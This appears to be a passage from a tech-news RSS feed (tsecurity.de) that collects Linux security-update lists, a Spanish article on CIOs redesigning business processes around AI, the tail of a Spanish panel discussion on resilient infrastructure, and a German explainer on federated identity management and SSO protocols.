<p>“Lo que vemos, y ha pasado ahora con la guerra de Irán, es que la infraestructura hay que diseñarla desde el peor escenario posible. El tema de las guerras o los ataques terroristas es una realidad. Tenemos que buscar formas de replicar nuestra infraestructura; por ejemplo, en Dubái, donde de hecho cayeron restos de un misil encima de un CPD de AWS y hubo varios bancos que lo pasaron bastante mal. Es decir, hay que tener infraestructura redundante, estar preparados para lo peor que pueda ocurrir. Y, por otro lado, ser atrevidos: lanzarnos con la IA y con todas estas tecnologías de última generación en España. Parece que hay mucho miedo alrededor de la IA. Yo creo que ese nerviosismo viene más del desconocimiento que de lo que realmente puede generar”, explicó Rubén Andrés Priego.</p>



<p>Por su parte, Andrés Devesa respondió que “lo fundamental es verlo como una oportunidad”. “En nuestra compañía —continuó— decimos mucho que el sector de la construcción, y en general el industrial, lleva años de retraso en comparación con sectores como la banca o incluso el educativo, como el Instituto de Empresa. Pero precisamente ese retraso es una oportunidad. Con la IA y las nuevas infraestructuras, se está reduciendo esa brecha entre el mundo industrial y otros sectores. Y en el caso de la construcción, probablemente el retraso sea aún mayor, lo que hace que el potencial de mejora sea significativo”.</p>



<p>Y es que, como dijo para concluir, “aunque la digitalización es necesaria, la inversión siempre se analiza mucho en este sector. Aun así, los costes tecnológicos están bajando, lo que facilita avanzar. Para nosotro, la clave es entender todo esto como una oportunidad.</p>



<p>Para finalizar, Carlos Garriga admitió que “no tanto a nivel de nuestra industria, la educación superior, sino más en el rol de la función tecnológica dentro de cualquier industria, creo que es una mezcla de oportunidad y reto”, para desarrollar así su explicación: “Estamos afrontando un periodo de fuerte redefinición de todas las industrias, pero especialmente del papel de la tecnología. ¿Cuál va a ser el rol de los departamentos de tecnología cuando el desarrollo tecnológico se está descentralizando? Probablemente, el foco se desplace más hacia la gestión de infraestructuras, la gestión de riesgos y el <em>compliance</em>. Muchas veces digo que el CIO o el CTO del futuro va a asumir muchas de esas funciones menos “atractivas”, pero críticas. Al mismo tiempo, vamos a ganar protagonismo como habilitadores de soluciones tecnológicas abiertas, que luego serán utilizadas por las áreas de negocio”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (.NET 8.0, .NET 9.0, freerdp, libarchive, and thunderbird), Debian (chromium, openssh, and thunderbird), Fedora (aurorae, bluedevil, breeze-gtk, buildah, cockpit, extra-cmake-modules, flatpak-kcm, grub2-breeze-theme, kactivitymanagerd, kcm_wacomtable...]]></description>
<link>https://tsecurity.de/de/3442222/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3442222/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 17 Apr 2026 15:45:35 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (.NET 8.0, .NET 9.0, freerdp, libarchive, and thunderbird), <b>Debian</b> (chromium, openssh, and thunderbird), <b>Fedora</b> (aurorae, bluedevil, breeze-gtk, buildah, cockpit, extra-cmake-modules, flatpak-kcm, grub2-breeze-theme, kactivitymanagerd, kcm_wacomtablet, kde-cli-tools, kde-gtk-config, kdecoration, kdeplasma-addons, kf6, kf6-attica, kf6-baloo, kf6-bluez-qt, kf6-breeze-icons, kf6-frameworkintegration, kf6-kapidox, kf6-karchive, kf6-kauth, kf6-kbookmarks, kf6-kcalendarcore, kf6-kcmutils, kf6-kcodecs, kf6-kcolorscheme, kf6-kcompletion, kf6-kconfig, kf6-kconfigwidgets, kf6-kcontacts, kf6-kcoreaddons, kf6-kcrash, kf6-kdav, kf6-kdbusaddons, kf6-kdeclarative, kf6-kded, kf6-kdesu, kf6-kdnssd, kf6-kdoctools, kf6-kfilemetadata, kf6-kglobalaccel, kf6-kguiaddons, kf6-kholidays, kf6-ki18n, kf6-kiconthemes, kf6-kidletime, kf6-kimageformats, kf6-kio, kf6-kirigami, kf6-kitemmodels, kf6-kitemviews, kf6-kjobwidgets, kf6-knewstuff, kf6-knotifications, kf6-knotifyconfig, kf6-kpackage, kf6-kparts, kf6-kpeople, kf6-kplotting, kf6-kpty, kf6-kquickcharts, kf6-krunner, kf6-kservice, kf6-kstatusnotifieritem, kf6-ksvg, kf6-ktexteditor, kf6-ktexttemplate, kf6-ktextwidgets, kf6-kunitconversion, kf6-kuserfeedback, kf6-kwallet, kf6-kwidgetsaddons, kf6-kwindowsystem, kf6-kxmlgui, kf6-modemmanager-qt, kf6-networkmanager-qt, kf6-prison, kf6-purpose, kf6-qqc2-desktop-style, kf6-solid, kf6-sonnet, kf6-syndication, kf6-syntax-highlighting, kf6-threadweaver, kgamma, kglobalacceld, kinfocenter, kmenuedit, knighttime, kpipewire, krdp, kscreen, kscreenlocker, ksshaskpass, ksystemstats, kwayland, kwayland-integration, kwin, kwin-x11, kwrited, layer-shell-qt, libexif, libkscreen, libksysguard, libplasma, nix, ocean-sound-theme, oxygen-sounds, pam-kwallet, plasma-activities, plasma-activities-stats, plasma-breeze, plasma-browser-integration, plasma-desktop, plasma-dialer, plasma-discover, plasma-disks, plasma-drkonqi, plasma-firewall, plasma-integration, plasma-keyboard, plasma-login-manager, plasma-milou, plasma-mobile, plasma-nano, plasma-nm, plasma-oxygen, plasma-pa, plasma-print-manager, plasma-sdk, plasma-setup, plasma-systemmonitor, plasma-systemsettings, plasma-thunderbolt, plasma-vault, plasma-welcome, plasma-workspace, plasma-workspace-wallpapers, plasma-workspace-x11, plasma5support, plymouth-kcm, plymouth-theme-breeze, podman, polkit-kde, powerdevil, qqc2-breeze-style, sddm-kcm, skopeo, spacebar, spectacle, thunderbird, and xdg-desktop-portal-kde), <b>Mageia</b> (cockpit-338), <b>Oracle</b> (capstone, cockpit, firefox, fontforge, freerdp, golang-github-openprinting-ipp-usb, kernel, nghttp2, nodejs:20, nodejs:24, openexr, and squid), <b>Red Hat</b> (gnutls, libarchive, libpng, libpng12, libpng15, libtiff, libvpx, libxslt, multiple packages, python, python3, python3.11, python3.12, and python3.9), <b>Slackware</b> (libxml2), <b>SUSE</b> (apache-pdfbox, azure-storage-azcopy, corosync, cups, freerdp, iproute2, libsdb2_4_2, libtpms, NetworkManager, openssl-1_1, ovmf, plexus-utils, python, python-CairoSVG, python-jwcrypto, python-PyJWT, python-pyOpenSSL, python-urllib3, python3, python314, rust1.93, shim, smc-tools, terraform-provider-local, terraform-provider-random, terraform-provider-tls, thunderbird, tiff, util-linux, and vim), and <b>Ubuntu</b> (libowasp-esapi-java, linux, linux-aws, linux-aws-5.15, linux-gcp, linux-gke, linux-gkeop, linux-lowlatency, linux-lowlatency-hwe-5.15, linux-nvidia, linux-oracle, linux, linux-aws, linux-aws-6.8, linux-gcp, linux-gke, linux-gkeop, linux-ibm, linux-lowlatency, linux-lowlatency-hwe-6.8, linux, linux-realtime, linux-aws-fips, linux-fips, linux-gcp-fips, linux-fips, linux-gcp-fips, linux-gcp, linux-gcp-6.17, linux-hwe-5.15, linux-intel-iot-realtime, linux-realtime, linux-nvidia, linux-nvidia-6.8, linux-nvidia-lowlatency, linux-nvidia-tegra, linux-nvidia-tegra, linux-nvidia-tegra-igx, linux-realtime, linux-realtime-6.8, linux-realtime-6.17, ofono, and ruby-rack).]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Thursday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (bind, bind9.16, bind9.18, cockpit, fence-agents, firefox, fontforge, git-lfs, grafana, grafana-pcp, kernel, nghttp2, nginx, nginx:1.24, nginx:1.26, nodejs:20, nodejs:22, nodejs:24, pcs, perl-XML-Parser, perl:5.32, resource-agents, squid:4, thunderbi...]]></description>
<link>https://tsecurity.de/de/3438867/linux-tipps/security-updates-for-thursday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3438867/linux-tipps/security-updates-for-thursday/</guid>
<pubDate>Thu, 16 Apr 2026 15:15:09 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (bind, bind9.16, bind9.18, cockpit, fence-agents, firefox, fontforge, git-lfs, grafana, grafana-pcp, kernel, nghttp2, nginx, nginx:1.24, nginx:1.26, nodejs:20, nodejs:22, nodejs:24, pcs, perl-XML-Parser, perl:5.32, resource-agents, squid:4, thunderbird, and vim), <b>Debian</b> (incus, lxd, and python3.9), <b>Fedora</b> (cef, composer, erlang, libpng, micropython, mingw-openexr, moby-engine, NetworkManager-ssh, perl, perl-Devel-Cover, perl-PAR-Packer, polymake, pypy, python-cairosvg, python-flask-httpauth, and python3.15), <b>Mageia</b> (kernel, kmod-virtualbox, kmod-xtables-addons and kernel-linus), <b>Oracle</b> (\cockpit, bind, bind9.16, bind9.18, firefox, git-lfs, go-toolset:ol8, grafana, grafana-pcp, grub2, kea, kernel, libtiff, nghttp2, nginx, nginx:1.24, nginx:1.26, nodejs22, nodejs24, nodejs:22, nodejs:24, perl-XML-Parser, python3.9, thunderbird, uek-kernel, and vim), <b>Red Hat</b> (delve, go-toolset:rhel8, golang, golang-github-openprinting-ipp-usb, osbuild-composer, and rhc), <b>SUSE</b> (bind, Botan, cockpit, cockpit-subscriptions, expat, flatpak, glibc, goshs, himmelblau, kea, kernel, kubo, libpng16, libssh, log4j, mariadb, Mesa, netty, netty-tcnative, nfs-utils, nghttp2, nodejs20, openssl-3, pam, pcre2, python, python310, python311, python311-aiohttp, python311-rfc3161-client, python313, python36, rubygem-bundler, sqlite3, sudo, tigervnc, tomcat, tomcat10, tomcat11, util-linux, vim, and webkit2gtk3), and <b>Ubuntu</b> (dotnet8, dotnet9, dotnet10, frr, and linux-azure, linux-azure-4.15).]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3437430/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3437430/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Thu, 16 Apr 2026 07:01:18 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Los CIO replantean los procesos empresariales para aprovechar el potencial de la IA]]></title>
<description><![CDATA[Cada proceso empresarial refleja las limitaciones existentes en el momento en que fue diseñado, destaca la ejecutiva de TI Maria Cardow. Según ella, estas limitaciones solían estar condicionadas por las restricciones tecnológicas de la época. Como consecuencia, muchos procesos siguen dependiendo ...]]></description>
<link>https://tsecurity.de/de/3435124/it-nachrichten/los-cio-replantean-los-procesos-empresariales-para-aprovechar-el-potencial-de-la-ia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3435124/it-nachrichten/los-cio-replantean-los-procesos-empresariales-para-aprovechar-el-potencial-de-la-ia/</guid>
<pubDate>Wed, 15 Apr 2026 13:18:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Cada proceso empresarial refleja las limitaciones existentes en el momento en que fue diseñado, destaca la ejecutiva de TI Maria Cardow. Según ella, estas limitaciones solían estar condicionadas por las restricciones tecnológicas de la época. Como consecuencia, muchos procesos siguen dependiendo de flujos de trabajo que requieren intervención manual o implican complejos saltos entre múltiples aplicaciones para completar tareas críticas.</p>



<p>Sin embargo, la inteligencia artificial (IA) y otras tecnologías actuales permiten superar estas barreras. Por ello, “es fundamental reevaluar los procesos” antes de automatizar lo que probablemente sea un sistema ineficiente y obsoleto, sostiene Cardow, CIO del proveedor de servicios de seguridad gestionados LevelBlue. Y añade: “Es necesario revisar los supuestos sobre los que se diseñaron los procesos antes de abordar una transformación si queremos dar cabida a la innovación”.</p>



<p>La presión sobre los ejecutivos para transformar y optimizar los flujos de trabajo mediante IA es creciente. Según el informe <em>2026 Business Leader Outlook </em>de J.P. Morgan, el 62% de los directivos de empresas medianas ya utilizan o planean utilizar la IA para la automatización de procesos. Por su parte, el EY CEO Outlook 2026 sitúa la optimización operativa y la mejora de la productividad como la principal prioridad de transformación (43 %), seguida de la innovación en productos y procesos.</p>



<p>En la actualidad, Cardow lidera este tipo de iniciativas y constata que el área de TI está especialmente bien posicionada para ello.</p>



<p>Al analizar los flujos de trabajo, su equipo detecta con frecuencia procesos que abarcan “al menos una docena de sistemas diferentes” y que se basan en supuestos vinculados a tecnologías de hace varias generaciones. Este tipo de situaciones refuerza la necesidad de optimizar antes de automatizar, evitando caer en el error clásico de digitalizar ineficiencias.</p>



<h2 class="wp-block-heading">Un aliado natural para la optimización</h2>



<p>Cardow afirma que cada vez que se plantea la renovación de una licencia tecnológica, LevelBlue revisa los procesos empresariales asociados. El objetivo es determinar si están preparados para ser optimizados o transformados antes de renovar o sustituir la tecnología —y antes de introducir más automatización o IA—.</p>



<p>Este enfoque sitúa al CIO en una posición de liderazgo en la optimización de procesos. Su conocimiento de las capacidades tecnológicas, unido a su mandato de mejorar la eficiencia, la productividad y los costes, refuerza este rol.</p>



<p>Además, según Cardow, el área de TI aporta un elemento clave: objetividad. Mientras que los usuarios tienden a aferrarse a las herramientas y métodos existentes, los CIO pueden cuestionar de forma crítica cómo se ejecutan los procesos.</p>



<p>“La organización tiende a decir: “Siempre lo hemos hecho así”, explica, para apostillar: “Pero el CIO está en una posición privilegiada para cuestionar esos supuestos y colaborar con el negocio para simplificar procesos y diseñar mejores soluciones”.</p>



<h2 class="wp-block-heading">La IA eleva el papel del CIO</h2>



<p>Aunque los CIO llevan décadas impulsando la automatización, el contexto actual marca un punto de inflexión. Para Doug Gilbert, CIO y director digital de Sutherland, “ahora es diferente. Estamos ante un cambio evolutivo”.</p>



<p>En anteriores olas tecnológicas, el foco estaba en automatizar tareas concretas —como ocurrió con la automatización robótica de procesos (RPA)—. Hoy, en cambio, el reto es optimizar procesos completos de extremo a extremo.</p>



<p>A juicio de este especialista, “si abordas la IA como una RPA más sofisticada para tareas aisladas, fracasarás. La automatización debe abarcar todo el flujo de trabajo”.</p>



<p>Gilbert pone como ejemplo el Insurance AI Hub de su compañía, lanzado en 2025, que integra un ecosistema de agentes de IA para suscripción, gestión de siniestros y atención al cliente. El sistema incorpora desde el inicio datos maestros limpios, gobernanza, observabilidad y control humano, logrando reducir los tiempos de ciclo hasta un 30%, mejorar la satisfacción del cliente y reforzar el cumplimiento normativo.</p>



<p>Otro caso es su plataforma de acreditación sanitaria basada en IA agentiva, capaz de transformar un proceso tradicionalmente lento y manual en una operación ágil, precisa y regulada mediante la coordinación de múltiples agentes que comparten contexto en tiempo real.</p>



<h2 class="wp-block-heading">Un punto de inflexión para la función del CIO</h2>



<p>Este nuevo escenario exige más a los CIO. Ya no basta con entender la tecnología: deben comprender en profundidad cómo se realiza el trabajo, cómo se toman decisiones y qué define un buen resultado.</p>



<p>“La IA agente está elevando significativamente el listón”, afirma Gilbert. Estos sistemas ejecutan reglas y planifican, deciden, actúan y aprenden. Por ello, los CIO deben liderar la reinvención completa de los procesos, diseñándolos de forma nativa para entornos con agentes autónomos.</p>



<p>“Antes recibíamos un proceso, lo automatizábamos parcialmente y lo devolvíamos. Hoy debemos replantear de raíz cómo se realiza el trabajo”, explica. Esto implica garantizar datos de calidad, gobernanza integrada y resultados fiables, además de asumir un papel activo en la estrategia empresarial.</p>



<p>En esta línea, Catherine Malkova, vicepresidenta sénior de Kyndryl, destaca que las organizaciones están apostando por rediseñar los flujos de trabajo desde cero para construir empresas nativas de IA. Según el informe de preparación de la compañía, el 87% de los directivos cree que la IA transformará completamente las funciones laborales.</p>



<h2 class="wp-block-heading">Retos en el camino</h2>



<p>Los desafíos son considerables pese al entusiasmo. Entre ellos destacan la necesidad de bases tecnológicas sólidas, la gestión de datos, la evolución de la plantilla, la escalabilidad de los proyectos de IA y la alineación del liderazgo.</p>



<p>A esto se suman problemas como sistemas fragmentados, resistencia al cambio, falta de habilidades o escasa confianza en la IA. También persisten preocupaciones sobre seguridad, privacidad y errores en los modelos.</p>



<p>Dom Profico, CTO de Bridgenext, advierte además del riesgo de precipitación: “La facilidad de automatizar con IA aumenta el peligro de automatizar procesos deficientes”. La presión competitiva puede llevar a avanzar demasiado rápido sin transformar previamente los procesos.</p>



<h2 class="wp-block-heading">El CIO como motor del cambio</h2>



<p>En este contexto, el CIO debe aportar rigor y visión sistémica para garantizar que se automatiza lo correcto y de la forma adecuada. Esto implica comprender el negocio en profundidad y conectar tecnología con valor.</p>



<p>Según Gilbert, las competencias clave incluyen el dominio de plataformas de inteligencia de procesos, estrategia de datos, gobernanza de IA, gestión del cambio y capacidad de traducir decisiones técnicas en impacto empresarial.</p>



<p>Merim Becirovic, CIO y socio de Boston Consulting Group, coincide en que el enfoque ha evolucionado desde la optimización en silos hacia la transformación integral de experiencias y recorridos.</p>



<p>Como ejemplo, una herramienta interna de IA que automatiza la creación de presentaciones, dice Deckster. Frente a mejoras incrementales, BCG rediseñó todo el proceso: hoy genera diapositivas listas para cliente en tres segundos, frente a los 15 minutos anteriores.</p>



<p>“Ahí es donde el CIO debe intervenir y preguntarse: “¿Existe una forma mejor de trabajar? El CIO debe ser impulsor, facilitador, colaborador e innovador para hacer realidad ese cambio”, concluye.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3430735/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3430735/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 14 Apr 2026 07:01:35 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3429934/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3429934/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Mon, 13 Apr 2026 20:46:21 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Was ist Federated Identity Management?]]></title>
<description><![CDATA[Federated Identity optimiert Komfort und Sicherheit auf Kosten der Komplexität.PeachShutterStock | shutterstock.com



Im Kern der Enterprise Security steht die Zerreißprobe zwischen Benutzerkomfort und Security-Anforderungen. Dabei handelt es sich um einen Balanceakt, der regelmäßig auf Authenti...]]></description>
<link>https://tsecurity.de/de/3427672/it-security-nachrichten/was-ist-federated-identity-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3427672/it-security-nachrichten/was-ist-federated-identity-management/</guid>
<pubDate>Mon, 13 Apr 2026 06:37:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/05/original-fedid_PeachShutterStock.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Fed Identity 16z9" class="wp-image-3989349" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Federated Identity optimiert Komfort und Sicherheit auf Kosten der Komplexität.</figcaption></figure><p class="imageCredit">PeachShutterStock | shutterstock.com</p></div>



<p>Im Kern der Enterprise Security steht die Zerreißprobe zwischen Benutzerkomfort und Security-Anforderungen. Dabei handelt es sich um einen Balanceakt, der regelmäßig auf <a href="https://www.csoonline.com/article/3492872/authentifizierungsfehler-des-cisos-groster-pain.html" title="Authentifizierungsebene" target="_blank">Authentifizierungsebene</a> ausgetragen wird und sich direkt auf das Onboarding- und Anmeldeerlebnis auswirkt. Geht es darum diesen Konflikt aufzulösen, steht Federated Identity an vorderster Front: Sie kann eine <a href="https://www.csoonline.com/article/3492409/schlusselfaktor-collaboration-nur-so-gehen-security-und-cx-zusammen.html" title="gute User Experience" target="_blank">gute User Experience</a> bieten, ohne dabei das Sicherheitsniveau zu beeinträchtigen.</p>



<h3 class="wp-block-heading">Federated Identity Management – Definition</h3>



<p><strong>Identity &amp; Access Management</strong> (<a title="IAM" href="https://www.computerwoche.de/article/2763035/was-sie-ueber-iam-wissen-muessen.html" target="_blank">IAM</a>) ist der übergeordnete Bereich, in dem es um digitale Identitäten und Zugriffsmanagement geht. <strong>Federated Identity Management</strong> (oder förderiertes Identitätsmanagement) ist eine IAM-Kategorie, die darauf fokussiert, ein einziges Authentifizierungsereignis sicher zu ermöglichen, um mehrere Interaktionen oder den Austausch von Identitätsinformationen abzudecken. Mit anderen Worten: Federated Identity Management (FIM) ermöglicht vielen Diensten, eine einzige <a title="digitale Identität" href="https://www.computerwoche.de/article/2822140/der-low-brainer-der-digitalen-identitaet.html" target="_blank">digitale Identität</a> gemeinsam zu nutzen. Ein Beispiel für den praktischen Einsatz von FIM wäre, wenn Sie sich bei Twitter mit ihrem Google-Konto anmelden.</p>



<p>Föderiertes Identitätsmanagement kann der Benutzererfahrung, der allgemeinen Sicherheit und der Ausfallsicherheit zuträglich sein. Dafür gilt es, folgende Kompromisse einzugehen:</p>



<ul class="wp-block-list">
<li><p>erhöhte architektonische Komplexität,</p></li>



<li><p>Bindung an einen bestimmten Anbieter und</p></li>



<li><p>mögliche Servicekosten.</p></li>
</ul>



<p>Federated Identity Management wird bisweilen mit <a href="https://www.computerwoche.de/article/2778438/wunderwaffe-sso.html" title="Single Sign-On" target="_blank">Single Sign-On</a> (SSO) in einen Topf geworfen. Genau genommen ist SSO allerdings eine Funktion von FIM – und einer seiner wesentlichen Use Cases, den wir im Folgenden näher betrachten. Zuvor noch ein Hinweis: Das Thema Self-Sovereign Identity (oder <a href="https://www.csoonline.com/article/3492414/was-ist-decentralized-identity.html" title="dezentrale Identität" target="_blank">dezentrale Identität</a>) ist wieder <a href="https://www.computerwoche.de/article/2797937/wie-digitale-identitaet-per-blockchain-geht.html" title="eine andere Baustelle" target="_blank">eine andere Baustelle</a>.</p>



<h3 class="wp-block-heading">Anwendungsfall (Federated) Single-Sign On</h3>



<p>Man unterscheidet zwei Arten von Single Sign-on: Einerseits das, was für Anwendungen innerhalb einer einzelnen Organisation gilt, und andererseits das, was organisationsübergreifend gilt. Ersteres wird in der Regel einfach als Single Sign-on bezeichnet, manchmal auch als “Enterprise Single Sign-on”. Letzteres fällt unter den Begriff Federated Single Sign-on (FSSO).</p>



<p>Die High-Level-Architektur, um beide SSO-Formen abzudecken, sieht folgendermaßen aus:</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img decoding="async" alt="Der Blick auf eine High-Level-SSO-Architektur." title="Der Blick auf eine High-Level-SSO-Architektur." src="https://images.computerwoche.de/bdb/3357723/1200x.jpg" width="1200" loading="lazy"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Der Blick auf eine High-Level-SSO-Architektur.</p></figcaption></figure><p class="imageCredit"> Foto: Foundry / Matthew Tyson</p></div><p>In jedem Fall erfordert Federated Identity Management eine zentrale Institution, die die gemeinsamen Anmeldeinformationen zwischen den verschiedenen Diensten vermittelt. Dabei kann es sich um einen Identity Manager handeln, der:</p>



<ul class="wp-block-list">
<li><p>von der Organisation selbst erstellt wurde (etwa unter Verwendung von <a title="Active Directory" href="https://www.csoonline.com/article/3495134/neue-angriffsmoglichkeitenwie-azure-ad-neue-authentifizierungsrisiken-eroffnet.html" target="_blank">Active Directory</a>).</p></li>



<li><p>über einen Identitätsanbieter in unterschiedlichem Umfang bereitgestellt wird.</p></li>
</ul>



<p><strong>Enterprise Single Sign-on</strong> deckt oft Situationen ab, in denen sich Mitarbeiter mehrfach bei internen Systemen anmelden müssen, beispielsweise an HR-Portal und IT-Ticketsystem. Dieses Konzept birgt offensichtliche UX-, aber auch systemische Probleme, weil Identitätsinformationen über heterogene Systeme verteilt werden. Dieser Umstand beeinträchtigt die Sicherheit und erschwert es, Richtlinien durchzusetzen. So müssen etwa bei On- und Off-Boarding eines Mitarbeiters gleich zwei verschiedene Datenspeicher geändert werden.</p>



<p><strong>Federated Single Sign-on</strong> ermöglicht die gemeinsame Nutzung von Anmeldeinformationen über Unternehmensgrenzen hinweg. Als solches stützt es sich in der Regel auf eine große, gut etablierte Einheit mit weitreichendem Trust – beispielsweise Google, Microsoft oder Amazon. Selbst eine kleine Applikation kann relativ einfach um die Option “Anmelden bei Google” ergänzt werden und den Nutzern eine einfache Anmeldemöglichkeit bieten, bei der sensible Informationen in den Händen der großen Organisation bleiben.</p>



<h3 class="wp-block-heading">Federated SSO implementieren</h3>



<p>Der Aufbau einer Federated SSO-Lösung richtet sich nach den jeweils spezifischen Anforderungen. Die allgemeinen Schritte sind dabei jedoch identisch:</p>



<ul class="wp-block-list">
<li><p><strong>Identity Provider einrichten:</strong> Entweder, Sie stellen eine zentralisierte Identity Infrastructure bereit oder Sie richten ein Konto bei einem Federated-Identity-Anbieter ein (Google, Microsoft, Okta). Auch eine Möglichkeit: Sie kreieren eine Mischform.</p></li>



<li><p><strong>Provider mit Anwendungsinformationen füttern:</strong> So konfigurieren Sie den Identity Provider und schaffen die Grundlage, dass sich Applikationen mit dem Anbieter verbinden können.</p></li>



<li><p><strong>Provider-Anmeldeinformationen hinzufügen:</strong> Diese werden Sie im nächsten Schritt verwenden, um Ihren Anwendungen mitzuteilen, wie sie sich authentifizieren sollen.</p></li>



<li><p><strong>Applikationen einrichten:</strong> In Ihrem Anwendungscode fügen Sie Abhängigkeiten für die Authentifizierung und Interaktion mit dem Identity-Provider-Service hinzu.</p></li>



<li><p><strong>Neue Authentifizierung integrieren:</strong> Mit dem konfigurierten SSO-Service haben Ihre Benutzer eine Möglichkeit, sich zu authentifizieren. Das funktioniert auch in “transparent”: Anwendungen erkennen und authentifizieren User mit einer Live-Session bei einem anderen Service automatisch. </p></li>
</ul>



<p>Weil es eine einfache Lösung ist, entscheiden sich die meisten Unternehmen heute für einen Cloud Identity Provider im Rahmen eines <a href="https://www.csoonline.com/article/3495412/software-as-a-service-sicherheit-saas-security-braucht-prioritat.html" title="SaaS-Angebots" target="_blank">SaaS-Angebots</a> – sowohl, wenn es um Enterprise als auch wenn es um Federated SSO geht.</p>



<h3 class="wp-block-heading">SSO-Protokolle implementieren</h3>



<p>Für SSO-Interaktionen werden im Wesentlichen drei Protokolle verwendet: <a href="https://www.computerwoche.de/article/2807109/was-ist-saml.html" title="SAML" target="_blank">SAML</a>, <a href="https://openid.net/developers/how-connect-works/" title="OIDC" target="_blank" rel="noopener">OIDC</a> und <a href="https://oauth.net/2/" title="OAuth 2.0" target="_blank" rel="noopener">OAuth 2.0</a>. Je nachdem, welches Protokoll der von Ihnen verwendete Identity-Anbieter unterstützt, werden Sie eines davon verwenden, um die sicheren Token-Informationen zwischen Ihren Anwendungen zu übermitteln. Jedes der Protokolle stellt einen offenen Standard dar, der auf einen bestimmten Anwendungsfall ausgerichtet ist.</p>



<ul class="wp-block-list">
<li><p><strong>SAML</strong> ist ein XML-basiertes Protokoll, das häufig in Unternehmen verwendet wird, um Enterprise SSO zu unterstützen oder um zwischen verschiedenen Business-Service-Anbietern hin- und herzuspringen. Es kann auch für die allgemeine gemeinsame Nutzung von Identitäten verwendet werden, einschließlich Federated SSO (insofern der Identity Provider das unterstützt).</p></li>



<li><p><strong>OAuth 2.0</strong> ist ein Authentifizierungsprotokoll, das die gemeinsame Nutzung von Ressourcendaten zwischen Anbietern auf der Grundlage der Zustimmung des Benutzers ermöglicht. Oauth fokussiert auf die gemeinsame Nutzung der Authentifizierung zwischen Diensten ohne die Angabe von Anmeldeinformationen.</p></li>



<li><p><strong>OIDC (OpenID Connect</strong>) stellt eine auf OAuth 2.0 aufbauende Schicht dar, die in der Regel für Social Logins (etwa “Sign in with GitHub”) verwendet wird. OIDC enthält einige Erweiterungen gegenüber OAuth, einschließlich Identity Assertions, Userinfo API und Standard Discovery – standardisierte Mechanismen für die sichere Bereitstellung und Nutzung von Identitätsinformationen.</p></li>
</ul>



<p>Diese Protokolle kommen einzeln oder im Kombination mit anderen Technologien zum Einsatz. So können beispielsweise JSON Web Token verwendet werden, um OAuth 2.0 Credential Token-Informationen in einem sichereren Format zu kapseln.</p>



<p>Glücklicherweise ist der Prozess zur Implementierung dieser Protokolle umfassend dokumentiert und wird von einer Vielzahl von Technologie-Stacks unterstützt. Der größte Teil der Arbeit wird durch Abstraktionen auf höherer Ebene in vielen Sprachen und Frameworks gekapselt. <a href="https://www.baeldung.com/sso-spring-security-oauth2" title="Spring Security" target="_blank" rel="noopener">Spring Security</a> bietet beispielsweise SSO-Unterstützung, ebenso wie <a href="https://www.passportjs.org/packages/passport-saml/" title="Passport" target="_blank" rel="noopener">Passport</a> im NodeJS/Express-Ökosystem. (fm)</p>
</div></div></div>
</div>]]></content:encoded>
</item>
